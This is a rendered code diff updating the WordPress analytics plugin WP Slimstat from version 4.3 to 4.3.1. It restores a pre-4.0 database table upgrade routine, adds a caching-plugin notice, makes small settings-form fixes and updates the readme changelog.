- self::$admin_notice = "To celebrate Slimstat's 10th birthday, we decided to tweak its name, to better reflect what it does. A few users have pointed out over time that it hadn't been easy for them to find our plugin in the repository. With our limited resources, we have been working on giving our work more visibility, and we are convinced that adding the word Analytics to the plugin's name is a step in the right direction. In a few months, we hope to reap the benefits of our efforts. Let's see how quickly we can celebrate our 2,000,000th download!";
16
  self::$admin_notice .= '<br/><br/><a id="slimstat-hide-admin-notice" href="#" class="button-secondary">Got it, thanks</a>';
17
  }
18
  else {
@@ -57,7 +57,7 @@ class wp_slimstat_admin {
57
  <p><strong>Third Party Text Links</strong></p>
58
  <p>Third party text networks supply text for display in Slimstat. These networks may collect your visitors' IP addresses, in native or hashed forms, for purposes of controlling the distribution of text links. Slimstat collects anonymous aggregated usage statistics.</p>
59
  <p>By clicking the button here below, you agree to the terms and conditions and give permission to place text links on your website when search engine crawlers access it. Your website's layout, performance and interaction with human visitors should not be altered or affected in any way. Please note that this feature can be deactivated at any time under Setting > Advanced > UAN Netword, without affecting any other feature available in Slimstat.</p>
60
- <p>WP Slimstat - Copyright &copy; ".date('Y')." Get Used to IT.</p>
61
  </div>
62
 
63
  <div>
@@ -155,7 +155,7 @@ class wp_slimstat_admin {
155
  add_filter('screen_settings', array(__CLASS__, 'screen_settings'), 10, 2);
156
 
157
  // Display a notice that hightlights this version's features
158
- if ( !empty( $_GET[ 'page' ] ) && strpos( $_GET[ 'page' ], 'slim' ) !== false ) {
159
  if ( !empty( self::$admin_notice ) && wp_slimstat::$options[ 'show_admin_notice' ] != wp_slimstat::$version && current_user_can( 'manage_options' ) ) {
160
  add_action( 'admin_notices', array( __CLASS__, 'show_admin_notice' ) );
161
  }
@@ -231,12 +231,13 @@ class wp_slimstat_admin {
231
  // FIX ME: To be implemented
232
 
233
  // AJAX Handlers
234
- if (defined('DOING_AJAX') && DOING_AJAX){
235
- add_action('wp_ajax_slimstat_hide_admin_notice', array(__CLASS__, 'hide_admin_notice'));
236
- add_action('wp_ajax_slimstat_hide_geolite_notice', array(__CLASS__, 'hide_geolite_notice'));
237
- add_action('wp_ajax_slimstat_manage_filters', array(__CLASS__, 'manage_filters'));
238
- add_action('wp_ajax_slimstat_delete_pageview', array(__CLASS__, 'delete_pageview'));
239
- add_action('wp_ajax_slimstat_enable_ads_feature', array(__CLASS__, 'enable_ads_feature'));
 
240
  }
241
 
242
  // Hide plugins
@@ -384,6 +385,221 @@ class wp_slimstat_admin {
384
  public static function update_tables_and_options(){
385
  $my_wpdb = apply_filters('slimstat_custom_wpdb', $GLOBALS['wpdb']);
386
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
387
  // --- Updates for version 4.1.3 ---
388
  if ( version_compare( wp_slimstat::$options[ 'version' ], '4.1.3', '<' ) ) {
389
  // Change column type to add IPv6 support
@@ -766,8 +982,8 @@ class wp_slimstat_admin {
766
  /**
767
  * Displays a tab to customize this user's screen options (what boxes to see/hide)
768
  */
769
- public static function screen_settings($_current, $_screen){
770
- if (strpos($_screen->id, 'page_slimview') === false){
771
  return $_current;
772
  }
773
 
@@ -775,6 +991,10 @@ class wp_slimstat_admin {
775
 
776
  // The Reports Library wp_slimstat_reports has already been loaded at this point
777
  foreach( wp_slimstat_reports::$reports_info as $a_report_id => $a_report_info ) {
 
 
 
 
778
  $checked = !in_array( 'hidden', $a_report_info[ 'classes' ] ) ? ' checked="checked"' : '';
779
 
780
  $current .= "
@@ -822,6 +1042,14 @@ class wp_slimstat_admin {
822
  die();
823
  }
824
 
 
 
 
 
 
 
 
 
825
  /**
826
  * Handles the Ajax requests to load, save or delete existing filters
827
  */
@@ -1032,7 +1260,7 @@ class wp_slimstat_admin {
1032
  wp_slimstat::$options[$_option_name] = '';
1033
  }
1034
 
1035
- $is_disabled = (!empty($_option_details['disabled']) && $_option_details['disabled'] === true)?' disabled':'';
1036
 
1037
  echo '<tr'.($_alternate?' class="alternate"':'').'>';
1038
  switch($_option_details['type']){
@@ -1047,7 +1275,7 @@ class wp_slimstat_admin {
1047
  <td>
1048
  <span class="block-element"><input type="radio"<?php echo $is_disabled ?> name="options[<?php echo $_option_name ?>]" id="<?php echo $_option_name ?>_yes" value="yes"<?php echo (wp_slimstat::$options[$_option_name] == 'yes')?' checked="checked"':''; ?>> <?php echo !empty($_option_details['custom_label_yes'])?$_option_details['custom_label_yes']:__('Yes','wp-slimstat') ?></span>
1049
  <span class="block-element"><input type="radio"<?php echo $is_disabled ?> name="options[<?php echo $_option_name ?>]" id="<?php echo $_option_name ?>_no" value="no" <?php echo (wp_slimstat::$options[$_option_name] == 'no')?' checked="checked"':''; ?>> <?php echo !empty($_option_details['custom_label_no'])?$_option_details['custom_label_no']:__('No','wp-slimstat') ?></span>
1050
- <?php if (is_network_admin()): ?><span class="block-element"><input type="radio" name="options[<?php echo $_option_name ?>]" id="<?php echo $_option_name ?>_null" value="null" <?php echo (wp_slimstat::$options[$_option_name] == 'null')?' checked="checked"':''; ?>> <?php echo !empty($_option_details['custom_label_null'])?$_option_details['custom_label_null']:__('Site Specific','wp-slimstat') ?></span><?php endif; ?>
1051
  <span class="description"><?php echo $_option_details['long_description'] ?></span>
1052
  </td><?php
1053
  break;
@@ -1079,7 +1307,7 @@ class wp_slimstat_admin {
1079
  echo '</tr>';
1080
  }
1081
 
1082
- protected static function settings_textarea($_option_name = '', $_option_details = array('description' =>'', 'type' => '', 'long_description' => '', 'rows' => 2), $_alternate = false){
1083
  $_option_details = array_merge(array('description' =>'', 'type' => '', 'long_description' => '', 'before_input_field' => '', 'after_input_field' => '', 'custom_label_yes' => '', 'custom_label_no' => ''), $_option_details);
1084
 
1085
  if (!isset(wp_slimstat::$options[$_option_name])){
@@ -1090,7 +1318,7 @@ class wp_slimstat_admin {
1090
  <td colspan="2">
1091
  <label for="<?php echo $_option_name ?>"><?php echo $_option_details['description'] ?></label>
1092
  <p class="description"><?php echo $_option_details['long_description'] ?></p>
1093
- <p><textarea class="large-text code" cols="50" rows="<?php echo $_option_details['rows'] ?>" name="options[<?php echo $_option_name ?>]" id="<?php echo $_option_name ?>"><?php echo !empty(wp_slimstat::$options[$_option_name])?stripslashes(wp_slimstat::$options[$_option_name]):'' ?></textarea> <span class="description"><?php echo $_option_details['after_input_field'] ?></span></p>
1094
  </td>
1095
  </tr><?php
1096
  }
11
  * Init -- Sets things up.
12
  */
13
  public static function init(){
14
+ if ( ( wp_slimstat::$options[ 'enable_ads_network' ] == 'yes' || wp_slimstat::$options[ 'enable_ads_network' ] == 'no' ) ) {
15
+ self::$admin_notice = "A few users have pointed out issues upgrading from versions prior to 4.0, which introduced a new table structure (see changelog). About eight months after we released version 4.0, we removed the upgrade script to streamline our codebase and improve performance. Given all these requests for help, we now decided to restore that code, and extend it to include extra checks and warnings, if something goes wrong. The script uses a very conservative approach, and no data is deleted in the process. Please remember, you can also find a <a href='https://slimstat.freshdesk.com/support/solutions/articles/12000003148-how-do-i-update-the-table-structure-if-i-upgraded-from-a-version-prior-to-4-0' target='_blank'>step by step guide in our knowledge base</a> on how to manually upgrade and consolidate your table structure. As usual, feel free to contact us if you have any questions.";
16
  self::$admin_notice .= '<br/><br/><a id="slimstat-hide-admin-notice" href="#" class="button-secondary">Got it, thanks</a>';
17
  }
18
  else {
57
  <p><strong>Third Party Text Links</strong></p>
58
  <p>Third party text networks supply text for display in Slimstat. These networks may collect your visitors' IP addresses, in native or hashed forms, for purposes of controlling the distribution of text links. Slimstat collects anonymous aggregated usage statistics.</p>
59
  <p>By clicking the button here below, you agree to the terms and conditions and give permission to place text links on your website when search engine crawlers access it. Your website's layout, performance and interaction with human visitors should not be altered or affected in any way. Please note that this feature can be deactivated at any time under Setting > Advanced > UAN Netword, without affecting any other feature available in Slimstat.</p>
60
+ <p>WP Slimstat - Copyright &copy; ".date( 'Y' )." Get Used to IT.</p>
61
  </div>
62
 
63
  <div>
155
  add_filter('screen_settings', array(__CLASS__, 'screen_settings'), 10, 2);
156
 
157
  // Display a notice that hightlights this version's features
158
+ if ( !empty( $_GET[ 'page' ] ) && strpos( $_GET[ 'page' ], 'slimview' ) !== false ) {
159
  if ( !empty( self::$admin_notice ) && wp_slimstat::$options[ 'show_admin_notice' ] != wp_slimstat::$version && current_user_can( 'manage_options' ) ) {
160
  add_action( 'admin_notices', array( __CLASS__, 'show_admin_notice' ) );
161
  }
231
  // FIX ME: To be implemented
232
 
233
  // AJAX Handlers
234
+ if ( defined( 'DOING_AJAX' ) && DOING_AJAX ) {
235
+ add_action( 'wp_ajax_slimstat_hide_admin_notice', array( __CLASS__, 'hide_admin_notice' ) );
236
+ add_action( 'wp_ajax_slimstat_hide_geolite_notice', array( __CLASS__, 'hide_geolite_notice' ) );
237
+ add_action( 'wp_ajax_slimstat_hide_caching_notice', array( __CLASS__, 'hide_caching_notice' ) );
238
+ add_action( 'wp_ajax_slimstat_manage_filters', array( __CLASS__, 'manage_filters' ) );
239
+ add_action( 'wp_ajax_slimstat_delete_pageview', array( __CLASS__, 'delete_pageview' ) );
240
+ add_action( 'wp_ajax_slimstat_enable_ads_feature', array( __CLASS__, 'enable_ads_feature' ) );
241
  }
242
 
243
  // Hide plugins
385
  public static function update_tables_and_options(){
386
  $my_wpdb = apply_filters('slimstat_custom_wpdb', $GLOBALS['wpdb']);
387
 
388
+ // --- Updates for version 3.8.4 ---
389
+ if ( version_compare( wp_slimstat::$options[ 'version' ], '3.8.4', '<' ) ) {
390
+ $my_wpdb->query( "CREATE TABLE {$GLOBALS['wpdb']->prefix}slim_stats_archive LIKE {$GLOBALS['wpdb']->prefix}slim_stats" );
391
+ }
392
+ // --- END: Updates for version 3.8.4 ---
393
+
394
+ // --- Updates for version 3.9.6 ---
395
+ if ( version_compare( wp_slimstat::$options[ 'version' ], '3.9.6', '<' ) ) {
396
+ // Consolidate some settings
397
+ $classes = wp_slimstat::string_to_array( wp_slimstat::$options[ 'ignore_outbound_classes' ] );
398
+ $rel = wp_slimstat::string_to_array( wp_slimstat::$options[ 'ignore_outbound_rel' ] );
399
+ $href = wp_slimstat::string_to_array( wp_slimstat::$options[ 'ignore_outbound_href' ] );
400
+ wp_slimstat::$options[ 'ignore_outbound_classes_rel_href' ] = implode( ',', array_merge( $classes, $rel, $href ) );
401
+
402
+ $classes = wp_slimstat::string_to_array( wp_slimstat::$options[ 'do_not_track_outbound_classes' ] );
403
+ $rel = wp_slimstat::string_to_array( wp_slimstat::$options[ 'do_not_track_outbound_rel' ] );
404
+ $href = wp_slimstat::string_to_array( wp_slimstat::$options[ 'do_not_track_outbound_href' ] );
405
+ wp_slimstat::$options[ 'do_not_track_outbound_classes_rel_href' ] = implode( ',', array_merge( $classes, $rel, $href ) );
406
+
407
+ // Make secret key really... secret!
408
+ wp_slimstat::$options[ 'secret' ] = wp_hash( uniqid( time(), true ) );
409
+ }
410
+ // --- END: Updates for version 3.9.6 ---
411
+
412
+ // --- Updates for version 3.9.8.2 ---
413
+ if ( version_compare( wp_slimstat::$options[ 'version' ], '3.9.8.2', '<' ) ) {
414
+ // The GeoLite DB is already installed, let's unzip it to improve the tracker's performance
415
+ if ( file_exists( wp_slimstat::$maxmind_path.'.gz' ) ) {
416
+ @unlink( wp_slimstat::$maxmind_path.'.gz' );
417
+ wp_slimstat::download_maxmind_database();
418
+ }
419
+ }
420
+ // --- END: Updates for version 3.9.8.2 ---
421
+
422
+ // --- Updates for version 4.0 ---
423
+ if ( version_compare( wp_slimstat::$options[ 'version' ], '4.0', '<' ) ) {
424
+ $GLOBALS['wpdb']->query( "DELETE FROM {$GLOBALS[ 'wpdb' ]->prefix}usermeta WHERE meta_key LIKE 'meta-box-order_slimstat%'" );
425
+
426
+ $have_innodb = $GLOBALS[ 'wpdb' ]->get_results( "SHOW VARIABLES LIKE 'have_innodb'", ARRAY_A );
427
+ $use_innodb = ( !empty( $have_innodb[ 0 ] ) && $have_innodb[ 0 ][ 'Value' ] == 'YES' ) ? 'ENGINE=InnoDB' : '';
428
+
429
+ // Create the new table
430
+ self::_create_table ("
431
+ CREATE TABLE IF NOT EXISTS {$GLOBALS['wpdb']->prefix}slim_stats_4 (
432
+ id INT UNSIGNED NOT NULL auto_increment,
433
+ ip INT UNSIGNED DEFAULT 0,
434
+ other_ip INT UNSIGNED DEFAULT 0,
435
+ username VARCHAR(255) DEFAULT NULL,
436
+ country VARCHAR(16) DEFAULT NULL,
437
+ referer VARCHAR(2048) DEFAULT NULL,
438
+ resource VARCHAR(2048) DEFAULT NULL,
439
+ searchterms VARCHAR(2048) DEFAULT NULL,
440
+ plugins VARCHAR(255) DEFAULT NULL,
441
+ notes VARCHAR(2048) DEFAULT NULL,
442
+ visit_id INT UNSIGNED NOT NULL DEFAULT 0,
443
+ server_latency INT(10) UNSIGNED DEFAULT 0,
444
+ page_performance INT(10) UNSIGNED DEFAULT 0,
445
+
446
+ browser VARCHAR(40) DEFAULT NULL,
447
+ browser_version VARCHAR(15) DEFAULT NULL,
448
+ browser_type TINYINT UNSIGNED DEFAULT 0,
449
+ platform VARCHAR(15) DEFAULT NULL,
450
+ language VARCHAR(5) DEFAULT NULL,
451
+ user_agent VARCHAR(2048) DEFAULT NULL,
452
+
453
+ resolution VARCHAR(12) DEFAULT NULL,
454
+ screen_width SMALLINT UNSIGNED DEFAULT 0,
455
+ screen_height SMALLINT UNSIGNED DEFAULT 0,
456
+
457
+ content_type VARCHAR(64) DEFAULT NULL,
458
+ category VARCHAR(256) DEFAULT NULL,
459
+ author VARCHAR(64) DEFAULT NULL,
460
+ content_id BIGINT(20) UNSIGNED DEFAULT 0,
461
+
462
+ outbound_resource VARCHAR(2048) DEFAULT NULL,
463
+
464
+ dt INT(10) UNSIGNED DEFAULT 0,
465
+
466
+ CONSTRAINT PRIMARY KEY (id),
467
+ INDEX idx_{$GLOBALS['wpdb']->prefix}slim_stats_dt (dt)
468
+ ) COLLATE utf8_general_ci $use_innodb", $GLOBALS[ 'wpdb' ]->prefix . 'slim_stats_4', $my_wpdb );
469
+
470
+ // Create the archive table
471
+ $my_wpdb->query( "CREATE TABLE IF NOT EXISTS {$GLOBALS['wpdb']->prefix}slim_stats_archive_4 LIKE {$GLOBALS['wpdb']->prefix}slim_stats_4" );
472
+
473
+ // Rename old and new tables
474
+ $my_wpdb->query( "SET foreign_key_checks = 0" );
475
+ $my_wpdb->query( "RENAME TABLE {$GLOBALS[ 'wpdb' ]->prefix}slim_stats TO {$GLOBALS[ 'wpdb' ]->prefix}slim_stats_3" );
476
+ $my_wpdb->query( "RENAME TABLE {$GLOBALS[ 'wpdb' ]->prefix}slim_stats_4 TO {$GLOBALS[ 'wpdb' ]->prefix}slim_stats" );
477
+ $my_wpdb->query( "RENAME TABLE {$GLOBALS[ 'wpdb' ]->prefix}slim_stats_archive TO {$GLOBALS[ 'wpdb' ]->prefix}slim_stats_archive_3" );
478
+ $my_wpdb->query( "RENAME TABLE {$GLOBALS[ 'wpdb' ]->prefix}slim_stats_archive_4 TO {$GLOBALS[ 'wpdb' ]->prefix}slim_stats_archive" );
479
+
480
+ // Sometimes db users are not granted the capability to rename tables
481
+ $slim_stats_4_exists = $my_wpdb->get_col( "SHOW TABLES LIKE '{$GLOBALS[ 'wpdb' ]->prefix}slim_stats_4'", 0 );
482
+ $resolution_exists = $my_wpdb->get_results( "SHOW COLUMNS FROM {$GLOBALS[ 'wpdb' ]->prefix}slim_stats LIKE 'resolution'" );
483
+
484
+ // Something went wrong during the upgrade
485
+ if ( !empty( $slim_stats_4_exists ) && empty( $resolution_exists ) ) {
486
+ self::$admin_notice = __( "Slimstat attempted to upgrade your database structure, but the procedure might not have been completed (temporary tables were detected in your database). This might be caused by restrictive user permissions that don't grant commands like RENAME, ALTER/CHANGE and others. You might need to manually consolidate your tables. No worries, we wrote a <a href='https://slimstat.freshdesk.com/support/solutions/articles/12000003148-how-do-i-update-the-table-structure-if-i-upgraded-from-a-version-prior-to-4-0' target='_blank'>step by step guide</a> on how to do that. Please feel free to contact our support team if you have any questions.", 'wp-slimstat' );
487
+ self::$admin_notice .= '<br/><br/><a id="slimstat-hide-admin-notice" href="#" class="button-secondary">Got it, thanks</a>';
488
+ return 0;
489
+ }
490
+
491
+ // Create the new events table
492
+ $my_wpdb->query( "
493
+ CREATE TABLE IF NOT EXISTS {$GLOBALS[ 'wpdb' ]->prefix}slim_events (
494
+ event_id INT(10) NOT NULL AUTO_INCREMENT,
495
+ type TINYINT UNSIGNED DEFAULT 0,
496
+ event_description VARCHAR(64) DEFAULT NULL,
497
+ notes VARCHAR(256) DEFAULT NULL,
498
+ position VARCHAR(32) DEFAULT NULL,
499
+ id INT UNSIGNED NOT NULL DEFAULT 0,
500
+ dt INT(10) UNSIGNED DEFAULT 0,
501
+
502
+ CONSTRAINT PRIMARY KEY (event_id),
503
+ INDEX idx_{$GLOBALS['wpdb']->prefix}slim_events (dt),
504
+ CONSTRAINT fk_{$GLOBALS['wpdb']->prefix}id FOREIGN KEY (id) REFERENCES {$GLOBALS['wpdb']->prefix}slim_stats(id) ON UPDATE CASCADE ON DELETE CASCADE
505
+ ) COLLATE utf8_general_ci $use_innodb" );
506
+
507
+ $my_wpdb->query( "
508
+ INSERT INTO {$GLOBALS['wpdb']->prefix}slim_stats (
509
+ id,
510
+ ip,
511
+ other_ip,
512
+ username,
513
+ country,
514
+ referer,
515
+ resource,
516
+ searchterms,
517
+ plugins,
518
+ notes,
519
+ visit_id,
520
+ server_latency,
521
+ page_performance,
522
+
523
+ browser,
524
+ browser_version,
525
+ browser_type,
526
+ platform,
527
+ language,
528
+ user_agent,
529
+
530
+ screen_width,
531
+ screen_height,
532
+
533
+ content_type,
534
+ category,
535
+ author,
536
+ content_id,
537
+
538
+ outbound_resource,
539
+
540
+ dt
541
+ )
542
+ SELECT
543
+ t1.id,
544
+ t1.ip,
545
+ t1.other_ip,
546
+ NULLIF(t1.user, ''),
547
+ NULLIF(t1.country, ''),
548
+ NULLIF(t1.referer, ''),
549
+ NULLIF(t1.resource, ''),
550
+ NULLIF(t1.searchterms, ''),
551
+ NULLIF(t1.plugins, ''),
552
+ NULLIF(t1.notes, ''),
553
+ t1.visit_id,
554
+ t1.server_latency,
555
+ t1.page_performance,
556
+
557
+ NULLIF(tb.browser, ''),
558
+ NULLIF(tb.version, ''),
559
+ tb.type,
560
+ NULLIF(tb.platform, ''),
561
+ NULLIF(t1.language, ''),
562
+ NULLIF(tb.user_agent, ''),
563
+
564
+ 9812,
565
+ 9812,
566
+
567
+ NULLIF(tci.content_type, ''),
568
+ NULLIF(tci.category, ''),
569
+ NULLIF(tci.author, ''),
570
+ tci.content_id,
571
+
572
+ NULL,
573
+
574
+ t1.dt
575
+
576
+ FROM {$GLOBALS['wpdb']->prefix}slim_stats_3 AS t1
577
+ INNER JOIN {$GLOBALS['wpdb']->base_prefix}slim_browsers AS tb ON t1.browser_id = tb.browser_id
578
+ INNER JOIN {$GLOBALS['wpdb']->base_prefix}slim_content_info AS tci ON t1.content_info_id = tci.content_info_id" );
579
+
580
+ // Copy the events
581
+ $my_wpdb->query( "
582
+ INSERT INTO {$GLOBALS['wpdb']->prefix}slim_events (
583
+ type,
584
+ event_description,
585
+ notes,
586
+ position,
587
+ id,
588
+ dt
589
+ )
590
+ SELECT
591
+ tob.type,
592
+ SUBSTRING(tob.notes, LOCATE('Event:', tob.notes)+6, LOCATE(',', tob.notes, LOCATE('Event:', tob.notes)+6) - LOCATE('Event:', tob.notes)-6),
593
+ SUBSTRING(tob.notes, 1, LOCATE('Event:', tob.notes) - 3),
594
+ tob.position,
595
+ tob.id,
596
+ tob.dt
597
+ FROM {$GLOBALS['wpdb']->prefix}slim_outbound AS tob" );
598
+
599
+ $my_wpdb->query( "SET foreign_key_checks = 1" );
600
+ }
601
+ // --- END: Updates for version 4.0 ---
602
+
603
  // --- Updates for version 4.1.3 ---
604
  if ( version_compare( wp_slimstat::$options[ 'version' ], '4.1.3', '<' ) ) {
605
  // Change column type to add IPv6 support
982
  /**
983
  * Displays a tab to customize this user's screen options (what boxes to see/hide)
984
  */
985
+ public static function screen_settings( $_current = '', $_screen ) {
986
+ if ( strpos( $_screen->id, 'page_slimview' ) === false ) {
987
  return $_current;
988
  }
989
 
991
 
992
  // The Reports Library wp_slimstat_reports has already been loaded at this point
993
  foreach( wp_slimstat_reports::$reports_info as $a_report_id => $a_report_info ) {
994
+ if ( !is_array( $a_report_info[ 'classes' ] ) ) {
995
+ continue;
996
+ }
997
+
998
  $checked = !in_array( 'hidden', $a_report_info[ 'classes' ] ) ? ' checked="checked"' : '';
999
 
1000
  $current .= "
1042
  die();
1043
  }
1044
 
1045
+ /**
1046
+ * Handles the Ajax request to hide the cache notice
1047
+ */
1048
+ public static function hide_caching_notice(){
1049
+ wp_slimstat::$options['no_caching_warning'] = 'yes';
1050
+ die();
1051
+ }
1052
+
1053
  /**
1054
  * Handles the Ajax requests to load, save or delete existing filters
1055
  */
1260
  wp_slimstat::$options[$_option_name] = '';
1261
  }
1262
 
1263
+ $is_disabled = (!empty($_option_details['disabled']) && $_option_details['disabled'] === true)?' disabled="disabled"':'';
1264
 
1265
  echo '<tr'.($_alternate?' class="alternate"':'').'>';
1266
  switch($_option_details['type']){
1275
  <td>
1276
  <span class="block-element"><input type="radio"<?php echo $is_disabled ?> name="options[<?php echo $_option_name ?>]" id="<?php echo $_option_name ?>_yes" value="yes"<?php echo (wp_slimstat::$options[$_option_name] == 'yes')?' checked="checked"':''; ?>> <?php echo !empty($_option_details['custom_label_yes'])?$_option_details['custom_label_yes']:__('Yes','wp-slimstat') ?></span>
1277
  <span class="block-element"><input type="radio"<?php echo $is_disabled ?> name="options[<?php echo $_option_name ?>]" id="<?php echo $_option_name ?>_no" value="no" <?php echo (wp_slimstat::$options[$_option_name] == 'no')?' checked="checked"':''; ?>> <?php echo !empty($_option_details['custom_label_no'])?$_option_details['custom_label_no']:__('No','wp-slimstat') ?></span>
1278
+ <?php if (is_network_admin()): ?><span class="block-element"><input type="radio" name="options[<?php echo $_option_name ?>]" id="<?php echo $_option_name ?>_null" value="null" <?php echo (wp_slimstat::$options[$_option_name] == 'null')?' checked="checked"':''; ?>> <?php echo !empty($_option_details['custom_label_null'])?$_option_details['custom_label_null']:__('Do not override','wp-slimstat') ?></span><?php endif; ?>
1279
  <span class="description"><?php echo $_option_details['long_description'] ?></span>
1280
  </td><?php
1281
  break;
1307
  echo '</tr>';
1308
  }
1309
 
1310
+ protected static function settings_textarea( $_option_name = '', $_option_details = array( 'description' =>'', 'type' => '', 'long_description' => '', 'rows' => 2 ), $_alternate = false ) {
1311
  $_option_details = array_merge(array('description' =>'', 'type' => '', 'long_description' => '', 'before_input_field' => '', 'after_input_field' => '', 'custom_label_yes' => '', 'custom_label_no' => ''), $_option_details);
1312
 
1313
  if (!isset(wp_slimstat::$options[$_option_name])){
1318
  <td colspan="2">
1319
  <label for="<?php echo $_option_name ?>"><?php echo $_option_details['description'] ?></label>
1320
  <p class="description"><?php echo $_option_details['long_description'] ?></p>
1321
+ <p><textarea class="large-text code" cols="50" rows="<?php echo array_key_exists( 'rows', $_option_details ) ? $_option_details[ 'rows' ] : 3 ?>" id="<?php echo $_option_name ?>"><?php echo !empty( wp_slimstat::$options[ $_option_name ] ) ? stripslashes( wp_slimstat::$options[ $_option_name ] ) : '' ?></textarea> <span class="description"><?php echo $_option_details[ 'after_input_field' ] ?></span></p>
1322
  </td>
1323
  </tr><?php
1324
  }
readme.txt CHANGED
@@ -5,7 +5,7 @@ Tags: analytics, tracking, reports, analyze, wassup, geolocation, online users,
5
  Text Domain: wp-slimstat
6
  Requires at least: 3.8
7
  Tested up to: 4.4.2
8
- Stable tag: 4.3
9
 
10
  == Description ==
11
  [youtube https://www.youtube.com/watch?v=iJCtjxArq4U]
@@ -63,6 +63,15 @@ Our knowledge base is available on our [support center](http://docs.wp-slimstat.
63
 
64
  == Changelog ==
65
 
 
 
 
 
 
 
 
 
 
66
  = 4.3 =
67
  * [Note] To celebrate Slimstat's 10th birthday, we decided to tweak its name, to better reflect what it does. A few users have pointed out over time that it hadn't been easy for them to find our plugin in the repository. With our limited resources, we have been working on giving our work more visibility, and we are convinced that adding the word "Analytics" to the plugin's name is a step in the right direction. In a few months, we hope to reap the benefits of our efforts.
68
  * [New] Please welcome our latest add-on [Author Overview](http://www.wp-slimstat.com/downloads/author-overview/). Now you can see how popular your blog authors are: this add-on will install a new report that tells you the number of pageviews, unique IPs and unique visits generated by the posts authored by each user in your blog. (thank you, [gh0stmichael](https://wordpress.org/support/topic/how-to-display-total-unique-views-per-author))
@@ -146,17 +155,6 @@ Our knowledge base is available on our [support center](http://docs.wp-slimstat.
146
  * [Fix] Our "loading" animated icon was not being displayed correctly on refresh.
147
  * [Fix] Chart legend was not being displayed as expected.
148
 
149
- = 4.2.0.1 =
150
- * [Fix] The Access Log report was not displaying referrers and other critical information.
151
-
152
- = 4.2 =
153
- * [Note] You now have full control over the placement of your reports. Move them not just within each screen, but from one screen to another. Build your own custom Overview, by simply dragging and dropping report labels just like you already do with widgets and widget areas. Compare multiple charts in one screen, and much more. Go to Slimstat > Customize and... have fun!
154
- * [Note] If for any reasons your reports are not being displayed correctly, make sure to give the No Panic button a try (under Settings > Maintenance)
155
- * [Note] Did you say charts? We are adding new visual reports to Slimstat, to make your metrics easier to interpret. Stay tuned!
156
- * [Update] Support for the old "Custom Report" screen (already deprecated in version 4.0) has been removed from the source code. Please update your custom reports accordingly.
157
- * [Update] Renamed and reorganized tabs under Settings to make them easier to understand.
158
- * [Update] [Flot](http://www.flotcharts.org/) chart library updated to version 0.8.3
159
-
160
  == Supporters ==
161
  Slimstat Analytics is an open source project, dependent in large parts on donations. [This page](https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=BNJR5EZNY3W38)
162
  is for those who want to donate money - be it once, be it regularly, be it a small or a big amount. Everything is set up for an easy donation process.
5
  Text Domain: wp-slimstat
6
  Requires at least: 3.8
7
  Tested up to: 4.4.2
8
+ Stable tag: 4.3.1
9
 
10
  == Description ==
11
  [youtube https://www.youtube.com/watch?v=iJCtjxArq4U]
63
 
64
  == Changelog ==
65
 
66
+ = 4.3.1 =
67
+ * [Note] A few users have pointed out issues upgrading from versions prior to 4.0, which introduced a new table structure (see changelog). About eight months after we released version 4.0, we removed the upgrade script to streamline our codebase and improve performance. Given all these requests for help, we now decided to restore that code, and extend it to include extra checks and warnings, if something goes wrong. Check Settings > Maintenance > Database to see if you have a notice recommending to remove table leftovers from your database.
68
+ * [New] A warning will alert administrators if a caching plugin has been detected, so that they remember to configure Slimstat Analytics accordingly.
69
+ * [Fix] Some users were getting a 403 Forbidden when trying to access the list of add-ons from our servers.
70
+ * [Fix] A PHP Error was being returned by the new Rankings report.
71
+ * [Fix] The Top Referring Domains export was missing one column.
72
+ * [Fix] A bug in the customizer was preventing the reports from being displayed correctly, under certain circumstances.
73
+ * [Fix] PHP warning being displayed in textareas (settings) under certain circumstances (thank you, [Chris](https://wordpress.org/support/topic/in-php-debug-mode-errors-appear-in-textareas))
74
+
75
  = 4.3 =
76
  * [Note] To celebrate Slimstat's 10th birthday, we decided to tweak its name, to better reflect what it does. A few users have pointed out over time that it hadn't been easy for them to find our plugin in the repository. With our limited resources, we have been working on giving our work more visibility, and we are convinced that adding the word "Analytics" to the plugin's name is a step in the right direction. In a few months, we hope to reap the benefits of our efforts.
77
  * [New] Please welcome our latest add-on [Author Overview](http://www.wp-slimstat.com/downloads/author-overview/). Now you can see how popular your blog authors are: this add-on will install a new report that tells you the number of pageviews, unique IPs and unique visits generated by the posts authored by each user in your blog. (thank you, [gh0stmichael](https://wordpress.org/support/topic/how-to-display-total-unique-views-per-author))
155
  * [Fix] Our "loading" animated icon was not being displayed correctly on refresh.
156
  * [Fix] Chart legend was not being displayed as expected.
157
 
 
 
 
 
 
 
 
 
 
 
 
158
  == Supporters ==
159
  Slimstat Analytics is an open source project, dependent in large parts on donations. [This page](https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=BNJR5EZNY3W38)
160
  is for those who want to donate money - be it once, be it regularly, be it a small or a big amount. Everything is set up for an easy donation process.
wp-slimstat.php CHANGED
@@ -3,7 +3,7 @@
3
  Plugin Name: WP Slimstat Analytics
4
  Plugin URI: http://wordpress.org/plugins/wp-slimstat/
5
  Description: The leading web analytics plugin for WordPress
6
- Version: 4.3
7
  Author: Camu
8
  Author URI: http://www.wp-slimstat.com/
9
  Text Domain: wp-slimstat
@@ -15,11 +15,12 @@ if ( !empty( wp_slimstat::$options ) ) {
15
  }
16
 
17
  class wp_slimstat {
18
- public static $version = '4.3';
19
  public static $options = array();
20
 
21
  public static $wpdb = '';
22
  public static $maxmind_path = '';
 
23
 
24
  protected static $data_js = array( 'id' => 0 );
25
  protected static $stat = array();
@@ -63,6 +64,11 @@ class wp_slimstat {
63
